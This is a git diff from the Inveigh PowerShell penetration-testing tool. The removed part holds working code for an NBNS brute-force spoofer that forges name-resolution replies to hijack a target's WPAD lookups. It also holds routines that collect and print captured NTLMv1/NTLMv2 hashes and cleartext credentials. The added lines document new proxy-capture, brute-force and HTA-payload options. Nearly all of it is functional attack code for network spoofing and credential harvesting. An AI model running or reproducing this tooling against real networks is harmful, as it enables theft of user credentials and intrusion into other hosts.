$NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($source_IP -eq $IP) - { - $NBNS_response_message = "- local request" - } - else - { - $NBNS_response_message = "- something went wrong" - } - - } - - if($NBNS_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) - } - - $NBNS_request_data = "" - } - - } - - $NBNS_UDP_client.Close() - } - -$NBNS_bruteforce_spoofer_scriptblock = -{ - param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) - - $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() - - $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) - $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) - $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - for($i=0; $i -lt $hostname_encoded.Count; $i++) - { - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - - } - - $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget")]) - $NBNS_paused = $false - $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) - $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) - $destination_point = New-Object Net.IPEndpoint($destination_IP,137) - $NBNS_bruteforce_UDP_client.Connect($destination_point) - - while($inveigh.unprivileged_running) - { - - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.unprivileged_running) - { - - if($NBNS_paused) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) - $NBNS_paused = $false - } - - for ($i = 0; $i -lt 255; $i++) - { - - for ($j = 0; $j -lt 255; $j++) - { - $NBNS_response_packet[0] = $i - $NBNS_response_packet[1] = $j - $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) - - if($inveigh.hostname_spoof -and $NBNSBruteForcePause) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) - $NBNS_paused = $true - break NBNS_spoofer_loop - } - - } - - } - - } - - Start-Sleep -m 5 - } - - $NBNS_bruteforce_UDP_client.Close() - } - -$control_unprivileged_scriptblock = -{ - param ($NBNSBruteForcePause,$RunTime) - - if($RunTime) - { - $control_timeout = New-TimeSpan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - if($NBNSBruteForcePause) - { - $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause - } - - while ($inveigh.unprivileged_running) - { - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.unprivileged_running) - { - $inveigh.console_queue.Add("Inveigh Unprivileged exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited due to run time")]) - Start-Sleep -m 5 - $inveigh.unprivileged_running = $false - } - - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - } - - } - } - - if($NBNSBruteForcePause -and $inveigh.hostname_spoof) - { - - if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) - { - $inveigh.hostname_spoof = $false - } - - } - - if($inveigh.file_output -and !$inveigh.running) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveAt(0) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveAt(0) - } - - } - - Start-Sleep -m 5 - } - } - -# End ScriptBlocks -# Begin Startup functions - -# HTTP Listener Startup function -function HTTPListener() -{ - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($HTTPIP).AddArgument($HTTPPort).Addargument($HTTPResponse).AddArgument( - $NBNSBruteForcePause).AddArgument($WPADAuth).AddArgument($WPADEmptyFile).AddArgument($WPADIP).AddArgument( - $WPADPort).AddArgument($WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# LLMNR Spoofer Startup function -function LLMNRSpoofer() -{ - $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $LLMNR_spoofer_runspace.Open() - $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $LLMNR_spoofer_powershell = [PowerShell]::Create() - $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace - $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument( - $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $LLMNRTTL) > $null - $LLMNR_spoofer_powershell.BeginInvoke() > $null -} - -# NBNS Spoofer Startup function -function NBNSSpoofer() -{ - $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $NBNS_spoofer_runspace.Open() - $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $NBNS_spoofer_powershell = [PowerShell]::Create() - $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace - $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($NBNS_response_message).AddArgument( - $SpooferIP).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $NBNSTTL) > $null - $NBNS_spoofer_powershell.BeginInvoke() > $null -} - -# Spoofer Startup function -function NBNSBruteForceSpoofer() -{ - $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $NBNS_bruteforce_spoofer_runspace.Open() - $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() - $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace - $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( - $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( - $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null - $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null -} - -# Control Unprivileged Startup function -function ControlUnprivilegedLoop() -{ - $control_unprivileged_runspace = [RunspaceFactory]::CreateRunspace() - $control_unprivileged_runspace.Open() - $control_unprivileged_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_unprivileged_powershell = [PowerShell]::Create() - $control_unprivileged_powershell.Runspace = $control_unprivileged_runspace - $control_unprivileged_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_unprivileged_powershell.AddScript($control_unprivileged_scriptblock).AddArgument( - $NBNSBruteForcePause).AddArgument($RunTime) > $null - $control_unprivileged_powershell.BeginInvoke() > $null -} - -# End Startup functions - -# Startup Enabled Services - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# LLMNR Spoofer Start -if($LLMNR -eq 'Y') -{ - LLMNRSpoofer -} - -# NBNS Spoofer Start -if($NBNS -eq 'Y') -{ - NBNSSpoofer -} - -# NBNSBruteForce Spoofer Start -if($NBNSBruteForce -eq 'Y') -{ - NBNSBruteForceSpoofer -} - -# Control Unprivileged Loop Start -if($NBNSBruteForcePause -or $RunTime -or $inveigh.file_output) -{ - ControlUnprivilegedLoop -} - -if($inveigh.console_output) -{ - - if($ConsoleStatus) - { - $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - :console_loop while(($inveigh.unprivileged_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { - - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) - { - if($unique_cleartext -ne $unique_cleartext_last) - { - Write-Output($unique_cleartext + $inveigh.newline) - } - - $unique_cleartext_last = $unique_cleartext - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output($unique_NTLMv1 + $inveigh.newline) - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - - $unique_NTLMv1_account_last = "" - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output($unique_NTLMv2 + $inveigh.newline) - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - - $unique_NTLMv2_account_last = "" - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) - { - Write-Output($NTLMv2_username + $inveigh.newline) - } - - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -s 1 - } - -} - -if($inveigh.file_output -and !$inveigh.running) -{ - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveAt(0) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveAt(0) - } - -} - -} -#End Invoke-InveighBruteForce - -function Stop-Inveigh -{ -<# -.SYNOPSIS -Stop-Inveigh will stop all running Inveigh functions. -#> - -if($inveigh) -{ - - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.HTTPS) - { - $certificate_check = & "netsh" http show sslcert - - if($certificate_check) - { - $netsh_ipport = "ipport=" + $inveigh.HTTPS_IP + ":" + $inveigh.HTTPS_port - $netsh_arguments = @("http","delete","sslcert",$netsh_ipport) - & "netsh" $netsh_arguments > $null - } - - if(!$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - - } - - if($inveigh.unprivileged_running) - { - $inveigh.unprivileged_running = $false - Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.relay_running) - { - $inveigh.relay_running = $false - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.running) - { - $inveigh.running = $false - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - Start-Sleep -S 5 - - } - else - { - Write-Output("There are no running Inveigh functions") - } - -} - -} - -function Get-Inveigh -{ -<# -.SYNOPSIS -Get-Inveigh will get stored Inveigh data from memory. - -.PARAMETER Console -Get queued console output. This is also the default if no parameters are set. - -.PARAMETER Log -Get log entries. - -.PARAMETER NTLMv1 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv1Unique -Get the first captured NTLMv1 challenge/response for each unique account. - -.PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER NTLMv2 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv2Unique -Get the first captured NTLMv2 challenge/response for each unique account. - -.PARAMETER NTLMv2Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER Cleartext -Get captured cleartext credentials. - -.PARAMETER CleartextUnique -Get unique captured cleartext credentials. - -.PARAMETER Learning -Get valid hosts discovered through spoofer learning. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$Log, - [parameter(Mandatory=$false)][Switch]$NTLMv1, - [parameter(Mandatory=$false)][Switch]$NTLMv2, - [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, - [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, - [parameter(Mandatory=$false)][Switch]$Cleartext, - [parameter(Mandatory=$false)][Switch]$CleartextUnique, - [parameter(Mandatory=$false)][Switch]$Learning, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($Console -or $PSBoundParameters.Count -eq 0) -{ - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - -} - -if($Log) -{ - Write-Output $inveigh.log -} - -if($NTLMv1) -{ - Write-Output $inveigh.NTLMv1_list -} - -if($NTLMv1Unique) -{ - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - -} - -if($NTLMv1Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($NTLMv2) -{ - Write-Output $inveigh.NTLMv2_list -} - -if($NTLMv2Unique) -{ - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - -} - -if($NTLMv2Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($Cleartext) -{ - Write-Output $inveigh.cleartext_list -} - -if($CleartextUnique) -{ - Write-Output $inveigh.cleartext_list | Get-Unique -} - -if($Learning) -{ - Write-Output $inveigh.valid_host_list -} - -} - -function Watch-Inveigh -{ -<# -.SYNOPSIS -Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. -#> - -if($inveigh.tool -ne 1) -{ - - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - -} -else -{ - Write-Output "Watch-Inveigh cannot be used with current external tool selection" -} - -} - -function Clear-Inveigh -{ -<# -.SYNOPSIS -Clear-Inveigh will clear Inveigh data from memory. -#> - -if($inveigh) -{ - - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - -} - -}
\ No newline at end of file diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 index ae631d6..e0dd56a 100644 --- a/Scripts/Inveigh.ps1 +++ b/Scripts/Inveigh.ps1 @@ -2,18 +2,19 @@ function Invoke-Inveigh { <# .SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/Proxy/SMB. .DESCRIPTION Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: IPv4 LLMNR/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB - Basic auth cleartext credential capture over HTTP/HTTPS + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB + Basic auth cleartext credential capture over HTTP/HTTPS/Proxy WPAD server capable of hosting a basic or custom wpad.dat file HTTP/HTTPS server capable of hosting limited content Granular control of console and file output - Run time control + Run time and run count control + LLMNR/NBNS spoofer learning mode .PARAMETER IP Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the @@ -68,6 +69,19 @@ Default = 165 Seconds: NBNS TTL in seconds for the response packet. Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name +.PARAMETER NBNSBruteForce +Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. + +.PARAMETER NBNSBruteForceHost +Default = WPAD: Hostname for the NBNS Brute Force spoofer. + +.PARAMETER NBNSBruteForcePause +Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming +HTTP request is received. + +.PARAMETER NBNSBruteForceTarget +IP address to target for NBNS brute force spoofing. + .PARAMETER HTTP Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. @@ -84,6 +98,10 @@ wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag duri .PARAMETER HTTPBasicRealm Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. +.PARAMETER HTTPContentType +Default = none: Content type for HTTP/HTTPS responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" +for HTA files or when using HTA code with HTTPResponse. + .PARAMETER HTTPDir Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. @@ -96,7 +114,7 @@ EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for .PARAMETER HTTPResponse String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. -This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. +This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. .PARAMETER HTTPS Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in @@ -140,6 +158,18 @@ defined proxy. wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary. +.PARAMETER Proxy +Default = Disabled: (Y/N) Enable/Disable proxy server authentication captures. + +.PARAMETER ProxyAuth +Default = NTLM: (Basic,NTLM,NTLMNoESS) Proxy server authentication type. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8492: TCP port for the proxy listener. + .PARAMETER SMB Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to @@ -183,6 +213,9 @@ yellow warning messages if enabled. Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled. +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of captures to perform before auto-exiting. + .PARAMETER RunTime (Integer) Run time duration in minutes. @@ -255,6 +288,8 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput = "N", @@ -268,11 +303,15 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile = "Y", 